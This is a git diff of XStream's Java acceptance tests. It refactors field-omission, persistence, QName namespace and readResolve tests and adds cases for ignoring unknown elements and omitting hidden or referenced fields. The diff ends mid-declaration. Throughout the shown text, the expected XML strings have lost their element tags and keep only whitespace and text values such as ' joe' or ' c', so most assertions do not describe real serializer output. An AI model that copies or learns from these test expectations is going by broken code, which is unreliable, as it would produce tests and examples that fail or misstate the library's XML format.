xstream + .getMapper(), "item")); + + final Arrays arrays = new Arrays(); + arrays.objects = new Object[]{"joe", Boolean.TRUE, Integer.valueOf(47)}; + + final String expected = ("" + "\n" + " \n" + " joe\n" @@ -533,20 +521,18 @@ public void testArrayWithSuperTypes() { + " 47\n" + " \n" + "").replace('\'', '"'); - + assertBothWays(arrays, expected); } - + public void testArrayWithNullElement() { - xstream.registerLocalConverter(Arrays.class, "strings", - new NamedArrayConverter(String[].class, xstream.getMapper(), "name")); - - Arrays arrays = new Arrays(); - arrays.strings = new String[] { - "joe", null, "mauro" - }; - - String expected = "" + xstream.registerLocalConverter(Arrays.class, "strings", new NamedArrayConverter(String[].class, xstream + .getMapper(), "name")); + + final Arrays arrays = new Arrays(); + arrays.strings = new String[]{"joe", null, "mauro"}; + + final String expected = "" + "\n" + " \n" + " joe\n" @@ -554,20 +540,18 @@ public void testArrayWithNullElement() { + " mauro\n" + " \n" + ""; - + assertBothWays(arrays, expected); } - + public void testArrayWithPrimitives() { - xstream.registerLocalConverter(Arrays.class, "ints", - new NamedArrayConverter(int[].class, xstream.getMapper(), "value")); - - Arrays arrays = new Arrays(); - arrays.ints = new int[] { - 47, 0, -3 - }; - - String expected = "" + xstream.registerLocalConverter(Arrays.class, "ints", new NamedArrayConverter(int[].class, xstream.getMapper(), + "value")); + + final Arrays arrays = new Arrays(); + arrays.ints = new int[]{47, 0, -3}; + + final String expected = "" + "\n" + " \n" + " 47\n" @@ -575,22 +559,18 @@ public void testArrayWithPrimitives() { + " -3\n" + " \n" + ""; - + assertBothWays(arrays, expected); } - + public void testArrayWithPrimitiveArrays() { - xstream.registerLocalConverter(Arrays.class, "shortArrays", - new NamedArrayConverter(short[][].class, xstream.getMapper(), "values")); - - Arrays arrays = new Arrays(); - arrays.shortArrays = new short[][] { - {47, 0, -3}, - null, - {13, 7} - }; - - String expected = "" + xstream.registerLocalConverter(Arrays.class, "shortArrays", new NamedArrayConverter(short[][].class, xstream + .getMapper(), "values")); + + final Arrays arrays = new Arrays(); + arrays.shortArrays = new short[][]{{47, 0, -3}, null, {13, 7}}; + + final String expected = "" + "\n" + " \n" + " \n" @@ -605,7 +585,7 @@ public void testArrayWithPrimitiveArrays() { + " \n" + " \n" + ""; - + assertBothWays(arrays, expected); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/OmitFieldsTest.java b/xstream/src/test/com/thoughtworks/acceptance/OmitFieldsTest.java index 37e86140f..f02b928ef 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/OmitFieldsTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/OmitFieldsTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2012, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2012, 2013, 2014, 2018, 2020, 2021, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 20. June 2005 by Joe Walnes */ package com.thoughtworks.acceptance; @@ -21,18 +21,19 @@ public class OmitFieldsTest extends AbstractAcceptanceTest { public static class Thing extends StandardObject { + private static final long serialVersionUID = 200506L; transient String alwaysIgnore; String sometimesIgnore; String neverIgnore; } public void testTransientFieldsAreOmittedByDefault() { - Thing in = new Thing(); + final Thing in = new Thing(); in.alwaysIgnore = "a"; in.sometimesIgnore = "b"; in.neverIgnore = "c"; - String expectedXml = "" + final String expectedXml = "" + "\n" + " b\n" + " c\n" @@ -40,50 +41,51 @@ public void testTransientFieldsAreOmittedByDefault() { xstream.alias("thing", Thing.class); - String actualXml = xstream.toXML(in); + final String actualXml = xstream.toXML(in); assertEquals(expectedXml, actualXml); - Thing out = (Thing)xstream.fromXML(actualXml); + final Thing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals("b", out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public void testAdditionalFieldsCanBeExplicitlyOmitted() { - Thing in = new Thing(); + final Thing in = new Thing(); in.alwaysIgnore = "a"; in.sometimesIgnore = "b"; in.neverIgnore = "c"; - String expectedXml = "" // - + "\n" // - + " c\n" // + final String expectedXml = "" // + + "\n" + + " c\n" + ""; xstream.alias("thing", Thing.class); xstream.omitField(Thing.class, "sometimesIgnore"); - String actualXml = xstream.toXML(in); + final String actualXml = xstream.toXML(in); assertEquals(expectedXml, actualXml); - Thing out = (Thing)xstream.fromXML(actualXml); + final Thing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals(null, out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public static class DerivedThing extends Thing { + private static final long serialVersionUID = 200603L; String derived; } public void testInheritedFieldsCanBeExplicitlyOmittedThroughFacade() { - DerivedThing in = new DerivedThing(); + final DerivedThing in = new DerivedThing(); in.alwaysIgnore = "a"; in.sometimesIgnore = "b"; in.neverIgnore = "c"; in.derived = "d"; - String expectedXml = "" + final String expectedXml = "" + "\n" + " c\n" + " d\n" @@ -92,10 +94,10 @@ public void testInheritedFieldsCanBeExplicitlyOmittedThroughFacade() { xstream.alias("thing", DerivedThing.class); xstream.omitField(Thing.class, "sometimesIgnore"); - String actualXml = xstream.toXML(in); + final String actualXml = xstream.toXML(in); assertEquals(expectedXml, actualXml); - DerivedThing out = (DerivedThing)xstream.fromXML(actualXml); + final DerivedThing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals(null, out.sometimesIgnore); assertEquals("c", out.neverIgnore); @@ -103,13 +105,13 @@ public void testInheritedFieldsCanBeExplicitlyOmittedThroughFacade() { } public void testFieldsOfDerivedTypesCanBeExplicitlyOmittedThroughFacade() { - DerivedThing in = new DerivedThing(); + final DerivedThing in = new DerivedThing(); in.alwaysIgnore = "a"; in.sometimesIgnore = "b"; in.neverIgnore = "c"; in.derived = "d"; - String expectedXml = "" + final String expectedXml = "" + "\n" + " b\n" + " c\n" @@ -118,10 +120,10 @@ public void testFieldsOfDerivedTypesCanBeExplicitlyOmittedThroughFacade() { xstream.alias("thing", DerivedThing.class); xstream.omitField(DerivedThing.class, "derived"); - String actualXml = xstream.toXML(in); + final String actualXml = xstream.toXML(in); assertEquals(expectedXml, actualXml); - DerivedThing out = (DerivedThing)xstream.fromXML(actualXml); + final DerivedThing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals("b", out.sometimesIgnore); assertEquals("c", out.neverIgnore); @@ -129,6 +131,7 @@ public void testFieldsOfDerivedTypesCanBeExplicitlyOmittedThroughFacade() { } public static class AnotherThing extends StandardObject { + private static final long serialVersionUID = 200506L; String stuff; String cheese; String myStuff; @@ -136,30 +139,32 @@ public static class AnotherThing extends StandardObject { } public void testFieldsCanBeIgnoredUsingCustomStrategy() { - AnotherThing in = new AnotherThing(); + final AnotherThing in = new AnotherThing(); in.stuff = "a"; in.cheese = "b"; in.myStuff = "c"; in.myCheese = "d"; - String expectedXml = "" + final String expectedXml = "" // + "\n" + " a\n" + " b\n" + ""; class OmitFieldsWithMyPrefixMapper extends MapperWrapper { - public OmitFieldsWithMyPrefixMapper(Mapper wrapped) { + public OmitFieldsWithMyPrefixMapper(final Mapper wrapped) { super(wrapped); } - public boolean shouldSerializeMember(Class definedIn, String fieldName) { + @Override + public boolean shouldSerializeMember(final Class definedIn, final String fieldName) { return !fieldName.startsWith("my"); } } xstream = new XStream() { - protected MapperWrapper wrapMapper(MapperWrapper next) { + @Override + protected MapperWrapper wrapMapper(final MapperWrapper next) { return new OmitFieldsWithMyPrefixMapper(next); } }; @@ -167,10 +172,10 @@ protected MapperWrapper wrapMapper(MapperWrapper next) { xstream.allowTypes(AnotherThing.class); xstream.alias("thing", AnotherThing.class); - String actualXml = xstream.toXML(in); + final String actualXml = xstream.toXML(in); assertEquals(expectedXml, actualXml); - AnotherThing out = (AnotherThing)xstream.fromXML(actualXml); + final AnotherThing out = xstream.fromXML(actualXml); assertEquals("a", out.stuff); assertEquals("b", out.cheese); assertEquals(null, out.myStuff); @@ -178,7 +183,7 @@ protected MapperWrapper wrapMapper(MapperWrapper next) { } public void testDeletedElementCanBeOmitted() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " c\n" + " b\n" @@ -188,13 +193,13 @@ public void testDeletedElementCanBeOmitted() { xstream.alias("thing", Thing.class); xstream.omitField(Thing.class, "meanwhileDeletedIgnore"); - Thing out = (Thing)xstream.fromXML(expectedXml); + final Thing out = xstream.fromXML(expectedXml); assertEquals("b", out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public void testDeletedElementWithReferenceCanBeOmitted() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " \n" + " b\n" @@ -204,13 +209,13 @@ public void testDeletedElementWithReferenceCanBeOmitted() { xstream.alias("thing", Thing.class); xstream.omitField(Thing.class, "meanwhileDeletedIgnore"); - Thing out = (Thing)xstream.fromXML(expectedXml); + final Thing out = xstream.fromXML(expectedXml); assertEquals("b", out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public void testDeletedElementWithClassAttributeCanBeOmitted() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " \n" + " b\n" @@ -220,13 +225,13 @@ public void testDeletedElementWithClassAttributeCanBeOmitted() { xstream.alias("thing", Thing.class); xstream.omitField(Thing.class, "meanwhileDeletedIgnore"); - Thing out = (Thing)xstream.fromXML(expectedXml); + final Thing out = xstream.fromXML(expectedXml); assertEquals("b", out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public void testDeletedAttributeCanBeOmitted() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " b\n" + " c\n" @@ -235,57 +240,57 @@ public void testDeletedAttributeCanBeOmitted() { xstream.alias("thing", Thing.class); xstream.omitField(Thing.class, "meanwhileDeletedIgnore"); - Thing out = (Thing)xstream.fromXML(expectedXml); + final Thing out = xstream.fromXML(expectedXml); assertEquals("b", out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public void testAttributeCanBeOmitted() { - String expectedXml = ""; + final String expectedXml = ""; xstream.alias("thing", Thing.class); xstream.useAttributeFor(String.class); xstream.omitField(Thing.class, "sometimesIgnore"); - Thing in = new Thing(); + final Thing in = new Thing(); in.alwaysIgnore = "a"; in.sometimesIgnore = "b"; in.neverIgnore = "c"; assertEquals(expectedXml, xstream.toXML(in)); - Thing out = (Thing)xstream.fromXML(expectedXml); + final Thing out = xstream.fromXML(expectedXml); assertNull(out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public void testExistingFieldsCanBeExplicitlyOmittedAtDeserialization() { - String actualXml = "" + final String actualXml = "" + "\n" - + " foo\n" - + " c\n" + + " foo\n" + + " c\n" + ""; xstream.alias("thing", Thing.class); xstream.omitField(Thing.class, "sometimesIgnore"); - Thing out = (Thing)xstream.fromXML(actualXml); + final Thing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals(null, out.sometimesIgnore); assertEquals("c", out.neverIgnore); } public void testExistingFieldsInDerivedClassesCanBeExplicitlyOmittedAtDeserialization() { - String actualXml = "" + final String actualXml = "" + "\n" - + " b\n" - + " c\n" - + " foo\n" + + " b\n" + + " c\n" + + " foo\n" + ""; xstream.alias("thing", DerivedThing.class); xstream.omitField(DerivedThing.class, "derived"); - DerivedThing out = (DerivedThing)xstream.fromXML(actualXml); + final DerivedThing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals("b", out.sometimesIgnore); assertEquals("c", out.neverIgnore); @@ -293,17 +298,17 @@ public void testExistingFieldsInDerivedClassesCanBeExplicitlyOmittedAtDeserializ } public void testExistingInheritedFieldsCanBeExplicitlyOmittedAtDeserialization() { - String actualXml = "" + final String actualXml = "" + "\n" - + " foo\n" - + " c\n" - + " d\n" + + " foo\n" + + " c\n" + + " d\n" + ""; xstream.alias("thing", DerivedThing.class); xstream.omitField(Thing.class, "sometimesIgnore"); - DerivedThing out = (DerivedThing)xstream.fromXML(actualXml); + final DerivedThing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals(null, out.sometimesIgnore); assertEquals("c", out.neverIgnore); @@ -311,73 +316,95 @@ public void testExistingInheritedFieldsCanBeExplicitlyOmittedAtDeserialization() } public void testIgnoreUnknownElementsMatchingPattern() { - String actualXml = "" + final String actualXml = "" + "\n" - + " foo\n" - + " c\n" - + " f\n" - + " d\n" + + " foo\n" + + " c\n" + + " f\n" + + " d\n" + ""; xstream.alias("thing", DerivedThing.class); xstream.omitField(Thing.class, "sometimesIgnore"); xstream.ignoreUnknownElements("foo.*"); - DerivedThing out = (DerivedThing)xstream.fromXML(actualXml); + final DerivedThing out = xstream.fromXML(actualXml); assertEquals(null, out.alwaysIgnore); assertEquals(null, out.sometimesIgnore); assertEquals("c", out.neverIgnore); assertEquals("d", out.derived); - + try { xstream.fromXML(actualXml.replaceAll("foobar", "unknown")); fail("Thrown " + ConversionException.class.getName() + " expected"); } catch (final ConversionException e) { - String message = e.getMessage(); - assertTrue(message, - e.getMessage().substring(0, message.indexOf('\n')).endsWith( - DerivedThing.class.getName() + ".unknown")); + final String message = e.getMessage(); + assertTrue(message, e.getMessage().substring(0, message.indexOf('\n')).endsWith(DerivedThing.class.getName() + + ".unknown")); } } - + + public void testIgnoreAllUnknownElements() { + final String actualXml = "" + + "\n" + + " f\n" + + " \n" + + " i\n" + + " \n" + + " a\n" + + " c\n" + + " d\n" + + ""; + + xstream.alias("thing", Thing.class); + xstream.ignoreUnknownElements(); + + final Thing out = xstream.fromXML(actualXml); + assertEquals(null, out.alwaysIgnore); + assertEquals("a", out.sometimesIgnore); + assertEquals("c", out.neverIgnore); + } + public void testIgnoreNonExistingElementsMatchingTypeAlias() { xstream.alias("thing", Thing.class); xstream.ignoreUnknownElements("string"); - Thing thing = new Thing(); - String provided = "" - + "\n" - + " string 1\n" + final Thing thing = new Thing(); + final String provided = "" // + + "\n" + + " string 1\n" + ""; - String expected = ""; + final String expected = ""; assertWithAsymmetricalXml(thing, provided, expected); } - + public void testIgnoredElementIsNotInstantiated() { xstream.alias("thing", Thing.class); xstream.ignoreUnknownElements("int"); - Thing thing = new Thing(); - String provided = "" - + "\n" - + " invalid\n" + final Thing thing = new Thing(); + final String provided = "" // + + "\n" + + " invalid\n" + ""; - String expected = ""; + final String expected = ""; assertWithAsymmetricalXml(thing, provided, expected); } static class ThingAgain extends Thing { + private static final long serialVersionUID = 200712L; + @SuppressWarnings("hiding") String sometimesIgnore; - void setHidden(String s) { + void setHidden(final String s) { super.sometimesIgnore = s; } - + String getHidden() { return super.sometimesIgnore; } } public void testAnOmittedFieldMakesADefinedInAttributeSuperfluous() { - ThingAgain in = new ThingAgain(); + final ThingAgain in = new ThingAgain(); in.alwaysIgnore = "a"; in.setHidden("b"); in.neverIgnore = "c"; @@ -386,19 +413,170 @@ public void testAnOmittedFieldMakesADefinedInAttributeSuperfluous() { xstream.alias("thing", ThingAgain.class); xstream.omitField(ThingAgain.class, "sometimesIgnore"); - String expectedXml = "" + final String expectedXml = "" + "\n" + " b\n" + " c\n" + ""; - String actualXml = xstream.toXML(in); + final String actualXml = xstream.toXML(in); assertEquals(expectedXml, actualXml); - ThingAgain out = (ThingAgain)xstream.fromXML(expectedXml); + final ThingAgain out = xstream.fromXML(expectedXml); assertNull(out.alwaysIgnore); assertEquals("b", out.getHidden()); assertEquals("c", out.neverIgnore); assertNull(out.sometimesIgnore); } + + public static class Member { + public String name; + } + + public static class Parent { + public Member member; + } + + public static class Child extends Parent { + @SuppressWarnings("hiding") + public Member member; + + public void setHidden(final Member member) { + super.member = member; + } + + public Member getHidden() { + return super.member; + } + } + + public void testIgnoredHiddenElementsAreNotReferenced() { + final Member member = new Member(); + member.name = "junit"; + final Child child = new Child(); + child.setHidden(child.member = member); + + xstream.alias("child", Child.class); + xstream.omitField(Child.class, "member"); + + final String expectedXml = "" + + "\n" + + " \n" + + " junit\n" + + " \n" + + ""; + + final String actualXml = xstream.toXML(child); + assertEquals(expectedXml, actualXml); + + final Child out = xstream.fromXML(expectedXml); + assertNull(out.member); + assertEquals("junit", out.getHidden().name); + } + + public static class Wrapper { + public Member member; + public Parent parent; + } + + public void testIgnoredElementsAreNotReferenced() { + final Member member = new Member(); + member.name = "junit"; + final Parent parent = new Parent(); + final Wrapper wrapper = new Wrapper(); + parent.member = wrapper.member = member; + wrapper.parent = parent; + + xstream.alias("wrapper", Wrapper.class); + xstream.omitField(Wrapper.class, "member"); + + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " junit\n" + + " \n" + + " \n" + + ""; + + final String actualXml = xstream.toXML(wrapper); + assertEquals(expectedXml, actualXml); + + final Wrapper out = xstream.fromXML(expectedXml); + assertNull(out.member); + assertEquals("junit", out.parent.member.name); + } + + public void testReferencedElementsCanBeOmitted() { + final Member member = new Member(); + member.name = "junit"; + final Wrapper wrapper = new Wrapper(); + wrapper.member = member; + + xstream.alias("wrapper", Wrapper.class); + xstream.omitField(Wrapper.class, "member2"); + + final String expectedXml = "" + + "\n" + + " \n" + + " junit\n" + + " \n" + + " \n" + + ""; + + final Wrapper out = xstream.fromXML(expectedXml); + assertEquals("junit", out.member.name); + } + + public void testReferencedElementsCanBeIgnored() { + final Member member = new Member(); + member.name = "junit"; + final Wrapper wrapper = new Wrapper(); + wrapper.member = member; + + xstream.alias("wrapper", Wrapper.class); + xstream.ignoreUnknownElements(); + + final String expectedXml = "" + + "\n" + + " \n" + + " junit\n" + + " \n" + + " \n" + + ""; + + final Wrapper out = xstream.fromXML(expectedXml); + assertEquals("junit", out.member.name); + } + + public void testOmitFormerOuterClass() { + final Thing in = new Thing(); + in.alwaysIgnore = "a"; + in.sometimesIgnore = "b"; + in.neverIgnore = "c"; + + final String expectedXml = "" + + "\n" + + " b\n" + + " c\n" + + ""; + + xstream.alias("thing", Thing.class); + xstream.aliasField("outer-class", Thing.class, "alwaysIgnore"); + + final String actualXml = xstream.toXML(in); + assertEquals(expectedXml, actualXml); + + final String legacyXml = "" + + "\n" + + " \n" + + " some value" + + " \n" + + " b\n" + + " c\n" + + ""; + + final Thing out = xstream.fromXML(legacyXml); + assertEquals(in, out); + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/PersistenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/PersistenceTest.java index 0dda549fe..bf2000598 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/PersistenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/PersistenceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2008 XStream Committers. + * Copyright (C) 2008, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -10,6 +10,12 @@ */ package com.thoughtworks.acceptance; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collection; + import com.thoughtworks.acceptance.objects.SampleLists; import com.thoughtworks.acceptance.objects.Software; import com.thoughtworks.xstream.converters.Converter; @@ -20,21 +26,17 @@ import com.thoughtworks.xstream.persistence.FilePersistenceStrategy; import com.thoughtworks.xstream.persistence.XmlArrayList; -import java.io.File; -import java.io.FileInputStream; -import java.io.IOException; -import java.util.ArrayList; -import java.util.Collection; /** * Tests the persistence package. - * + * * @author Jörg Schaible */ public class PersistenceTest extends AbstractAcceptanceTest { private File dir; + @Override protected void setUp() throws Exception { super.setUp(); dir = new File("target/test-storage"); @@ -42,6 +44,7 @@ protected void setUp() throws Exception { cleanUp(); } + @Override protected void tearDown() throws Exception { cleanUp(); dir.delete(); @@ -49,32 +52,36 @@ protected void tearDown() throws Exception { } private void cleanUp() { - File[] files = dir.listFiles(); - for(int i = 0; i < files.length; ++i) { - if (files[i].isFile()) { - files[i].delete(); + final File[] files = dir.listFiles(); + for (final File file : files) { + if (file.isFile()) { + file.delete(); } } } private final class PersistenceArrayListConverter implements Converter { - public void marshal(Object source, HierarchicalStreamWriter writer, - MarshallingContext context) { - final XmlArrayList list = new XmlArrayList(new FilePersistenceStrategy(dir, xstream)); + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, + final MarshallingContext context) { + final XmlArrayList list = new XmlArrayList<>(new FilePersistenceStrategy(dir, + xstream)); context.convertAnother(dir); - list.addAll((Collection)source); + list.addAll((Collection)source); } - public Object unmarshal(HierarchicalStreamReader reader, - UnmarshallingContext context) { + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { final File directory = (File)context.convertAnother(null, File.class); - final XmlArrayList persistentList = new XmlArrayList(new FilePersistenceStrategy(directory, xstream)); - final ArrayList list = new ArrayList(persistentList); - //persistentList.clear(); // remove files + final XmlArrayList persistentList = new XmlArrayList<>(new FilePersistenceStrategy( + directory, xstream)); + final ArrayList list = new ArrayList<>(persistentList); + // persistentList.clear(); // remove files return list; } - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type == ArrayList.class; } } @@ -83,30 +90,29 @@ public void testCanUsePersistenceCollectionAsConverter() throws IOException { xstream.alias("lists", SampleLists.class); xstream.alias("software", Software.class); xstream.registerLocalConverter(SampleLists.class, "good", new PersistenceArrayListConverter()); - - SampleLists lists = new SampleLists(); + + final SampleLists lists = new SampleLists<>(); lists.good.add("Guilherme"); - lists.good.add(new Integer(1970)); + lists.good.add(Integer.valueOf(1970)); lists.good.add(new Software("Codehaus", "XStream")); - String expected = "" + - "\n" + - " " + dir.getPath() + "\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " " + + dir.getPath() + + "\n" + + " \n" + + ""; + + // assumes 'lists' is serialized first + final SampleLists serialized = assertBothWays(lists, expected); - // assumes 'lists' is serialized first - SampleLists serialized = (SampleLists)assertBothWays(lists, expected); - - // compare original list and list written in separate XML file + // compare original list and list written in separate XML file assertEquals(lists.good, serialized.good); - + // retrieve value from external file - FileInputStream inputStream = new FileInputStream(new File(dir, "int@2.xml")); - try { + try (final FileInputStream inputStream = new FileInputStream(new File(dir, "int@2.xml"))) { assertEquals(lists.good.get(2), xstream.fromXML(inputStream)); - } finally { - inputStream.close(); } } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/QNameMappedConcreteClassesTest.java b/xstream/src/test/com/thoughtworks/acceptance/QNameMappedConcreteClassesTest.java index 2d363f9dc..13aa9e493 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/QNameMappedConcreteClassesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/QNameMappedConcreteClassesTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2014, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 01. October 2004 by James Strachan */ package com.thoughtworks.acceptance; @@ -21,30 +21,31 @@ import com.thoughtworks.acceptance.someobjects.X; import com.thoughtworks.acceptance.someobjects.Y; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; -import com.thoughtworks.xstream.io.xml.BEAStaxDriver; import com.thoughtworks.xstream.io.xml.QNameMap; import com.thoughtworks.xstream.io.xml.StaxDriver; +import com.thoughtworks.xstream.io.xml.WstxDriver; + public class QNameMappedConcreteClassesTest extends AbstractAcceptanceTest { - public static final String XML_HEADER = ""; + public static final String XML_HEADER = ""; protected QNameMap qnameMap; protected String namespace = getDefaultNS(WithList.class); public void testUsingNamespace() { // lets register some qnames - QName qname = new QName(namespace, "withList", "w"); + final QName qname = new QName(namespace, "withList", "w"); qnameMap.registerMapping(qname, WithList.class); - WithList withList = new WithList(); - withList.things = new ArrayList(); + final WithList withList = new WithList<>(); + withList.things = new ArrayList<>(); - String expected ="" + - XML_HEADER + - "" + - "" + - ""; + final String expected = "" + + XML_HEADER + + "" + + /**/ "" + + ""; assertBothWays(withList, expected); } @@ -53,14 +54,13 @@ public void testUsingDefaultNamespace() { qnameMap.setDefaultNamespace(namespace); xstream.alias("withList", WithList.class); - WithList withList = new WithList(); - withList.things = new ArrayList(); + final WithList withList = new WithList<>(); + withList.things = new ArrayList<>(); - String expected = - XML_HEADER + - "" + - "" + - ""; + final String expected = XML_HEADER + + "" + + /**/ "" + + ""; assertBothWays(withList, expected); } @@ -68,17 +68,16 @@ public void testUsingDefaultNamespace() { public void testUsingDefaultNamespaceAndPrefix() { qnameMap.setDefaultNamespace(namespace); qnameMap.setDefaultPrefix("x"); - QName qname = new QName(namespace, "withList", "x"); + final QName qname = new QName(namespace, "withList", "x"); qnameMap.registerMapping(qname, WithList.class); - WithList withList = new WithList(); - withList.things = new ArrayList(); + final WithList withList = new WithList<>(); + withList.things = new ArrayList<>(); - String expected = - XML_HEADER + - "" + - "" + - ""; + final String expected = XML_HEADER + + "" + + /**/ "" + + ""; assertBothWays(withList, expected); } @@ -88,14 +87,13 @@ public void testUsingDifferentNamespaces() { qnameMap.registerMapping(new QName(namespace, "withList", "w"), WithList.class); qnameMap.registerMapping(new QName("urn:foo", "things", "f"), "things"); - WithList withList = new WithList(); - withList.things = new ArrayList(); + final WithList withList = new WithList<>(); + withList.things = new ArrayList<>(); - String expected = - XML_HEADER + - "" + - "" + - ""; + final String expected = XML_HEADER + + "" + + /**/ "" + + ""; assertBothWays(withList, expected); } @@ -104,37 +102,63 @@ public void testUsingDifferentNamespacesWithAliases() { xstream.alias("handler", X.class); xstream.alias("protocol", Y.class); - qnameMap.registerMapping(new QName(getDefaultNS(Handler.class)+1, "handler", "h"), "handler"); - qnameMap.registerMapping(new QName(getDefaultNS(Protocol.class)+2, "protocol", "p"), "innerObj"); + qnameMap.registerMapping(new QName(getDefaultNS(Handler.class) + 1, "handler", "h"), "handler"); + qnameMap.registerMapping(new QName(getDefaultNS(Protocol.class) + 2, "protocol", "p"), "innerObj"); + + final X x = new X(); + x.aStr = "foo"; + x.anInt = 42; + x.innerObj = new Y(); + x.innerObj.yField = "YField"; + + final String expected = XML_HEADER + + "" + + /**/ "foo" + + /**/ "42" + + /**/ "" + + /**//**/ "YField" + + /**/ "" + + ""; + + assertBothWays(x, expected); + } + + public void testUsingDifferentNamespacesSameAliases() { + xstream.alias("handler", X.class); + xstream.aliasField("protocol", X.class, "innerObj"); + + qnameMap.setDefaultNamespace(getDefaultNS(Handler.class)); + qnameMap.registerMapping(new QName(getDefaultNS(String.class)+1, "item"), "aStr"); + qnameMap.registerMapping(new QName(getDefaultNS(Integer.class)+2, "item"), "anInt"); - X x = new X(); + final X x = new X(); x.aStr = "foo"; x.anInt = 42; x.innerObj = new Y(); x.innerObj.yField = "YField"; - String expected = - XML_HEADER + - "" + - "foo" + - "42" + - "" + - "YField" + - "" + - ""; + final String expected = XML_HEADER + + "" + + /**/ "foo" + + /**/ "42" + + /**/ "" + + /**//**/ "YField" + + /**/ "" + + ""; assertBothWays(x, expected); } + @Override protected HierarchicalStreamDriver createDriver() { // careful, called from inside base class constructor qnameMap = new QNameMap(); - StaxDriver driver = new BEAStaxDriver(qnameMap); + final StaxDriver driver = new WstxDriver(qnameMap); //TODO: Test for all StAX drivers driver.setRepairingNamespace(false); return driver; } - protected String getDefaultNS(Class type) { + protected String getDefaultNS(final Class type) { return "java://" + type.getPackage().getName(); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/ReadResolveTest.java b/xstream/src/test/com/thoughtworks/acceptance/ReadResolveTest.java index a4505557e..e58d6eb32 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ReadResolveTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ReadResolveTest.java @@ -1,18 +1,16 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. May 2004 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.StatusEnum; - import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; @@ -20,64 +18,91 @@ import java.io.ObjectOutputStream; import java.io.Serializable; +import com.thoughtworks.acceptance.objects.StatusEnum; +import com.thoughtworks.xstream.converters.ConversionException; + + /** * @author Chris Kelly * @author Joe Walnes - */ + */ public class ReadResolveTest extends AbstractAcceptanceTest { public void testReadResolveWithDefaultSerialization() throws IOException, ClassNotFoundException { - StatusEnum status = StatusEnum.STARTED; + final StatusEnum status = StatusEnum.STARTED; - ByteArrayOutputStream bout = new ByteArrayOutputStream(); - ObjectOutputStream os = new ObjectOutputStream(bout); + final ByteArrayOutputStream bout = new ByteArrayOutputStream(); + final ObjectOutputStream os = new ObjectOutputStream(bout); os.writeObject(status); - byte[] bArray = bout.toByteArray(); + final byte[] bArray = bout.toByteArray(); StatusEnum rStatus = null; ObjectInputStream in = null; - ByteArrayInputStream bin = new ByteArrayInputStream(bArray); + final ByteArrayInputStream bin = new ByteArrayInputStream(bArray); in = new ObjectInputStream(bin); - rStatus = (StatusEnum) in.readObject(); + rStatus = (StatusEnum)in.readObject(); assertNotNull(rStatus); assertSame(status, rStatus); } public void testReadResolveWithXStream() { - StatusEnum status = StatusEnum.STARTED; + final StatusEnum status = StatusEnum.STARTED; - String xml = xstream.toXML(status); - StatusEnum rStatus = (StatusEnum) xstream.fromXML(xml); + final String xml = xstream.toXML(status); + final StatusEnum rStatus = (StatusEnum)xstream.fromXML(xml); assertSame(status, rStatus); } - + public static class ResolveToNull implements Serializable { - private String name; - public ResolveToNull(String name) { + private static final long serialVersionUID = 201412L; + final String name; + + public ResolveToNull(final String name) { this.name = name; } + private Object readResolve() { return null; } } - + public void 